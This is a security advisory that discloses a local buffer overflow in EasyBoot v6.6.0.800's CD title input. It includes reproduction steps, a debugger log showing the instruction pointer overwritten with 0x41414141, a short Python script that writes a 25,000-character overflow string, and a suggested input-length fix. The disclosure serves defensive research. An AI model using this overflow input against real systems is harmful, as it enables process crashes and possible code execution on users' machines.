Document Title: =============== EasyBoot v6.6.0.800 - (Title CD) Unicode Buffer Overflow References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2147 Release Date: ============= 2018-10-12 Vulnerability Laboratory ID (VL-ID): ==================================== 2147 Common Vulnerability Scoring System: ==================================== 6.5 Vulnerability Class: ==================== Buffer Overflow Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== EasyBoot lets you design MultiBoot CDs and DVDs. The program automatically produces the required boot image files and creates an ISO file that you can burn with your burning program as an image. EasyBoot is an integrated tool to create MultiBoot, Menu driven CDs & DVDs with native language. It has the ability to automatically produce boot image files, and generate the ISO file as well. Using your CD/DVD Recording software such as Nero or Roxio to Record the ISO, you get a bootable CD/DVD that completely belongs to you. (Copy of the Homepage: http://www.ezbsystems.com/easyboot/) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official EasyBoot v6.6.0.800 software application. Vulnerability Disclosure Timeline: ================================== 2018-10-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== EZB Systems Inc Product: EasyBoot - Boot Medium Software 6.6.0.800 Exploitation Technique: ======================= Local Severity Level: =============== High Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A buffer overflow vulnerability has been discovered in the official EasyBoot v6.6.0.800 software application. The vulnerability allows local attackers to overwrite the registers to compromise the local software process. The vulnerability is located in the title name of the cd to add. An attacker can manipulate the eip register in order to execute the next instruction of their choice. Attackers are able to for example execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite the eip register of the process. Finally the attacker is able to takeover the process by an overwrite of the active program process to compromise the computer system. The security risk of the local buffer overflow vulnerability is estimated as high with a cvss count of 6.5. Exploitation of the buffer overflow vulnerability requires a low privilege restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process. Vulnerable Function(s): [+] Add Vulnerable Input(s): [+] Title Name (CD) Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch EasyBoot.exe 2. Run the code in python and a file format (.txt) will create 3. Click on 'Create ISO' button 4. Open the file (.txt) and copy paste characters AAAAAAA+ .... in input 'title CD' 5. Click on the 'Create' button 6. Software will crash with an access violation and other unhandled errors 7. Successful reproduce of the local buffer overflow vulnerability! --- Debug Session Logs [WinDBG] --- Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for EasyBoot.exe - eax=014fa378 ebx=014e3c5c ecx=00000000 edx=014fa380 esi=00000002 edi=014e3c5c eip=41414141 esp=0012e97c ebp=0012e99c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 41414141 ?? ??? Note: EIP overwritte PoC: Exploit (Python) #!/usr/bin/python buffer = "x41" * 25000 poc = buffer file = open("poc.txt","w") file.write(poc) file.close() print "POC Created by ZwX" print " Email: msk4@live.fr" Solution - Fix & Patch: ======================= The solution could be to restrict and filter the number of characters on input of the cd title name input value. Security Risk: ============== The security risk of the local buffer overflow vulnerability in the cd title name input is estimated as high. Credits & Authors: ================== ZwX [msk4@live.fr] - https://www.vulnerability-lab.com/show.php?user=ZwX Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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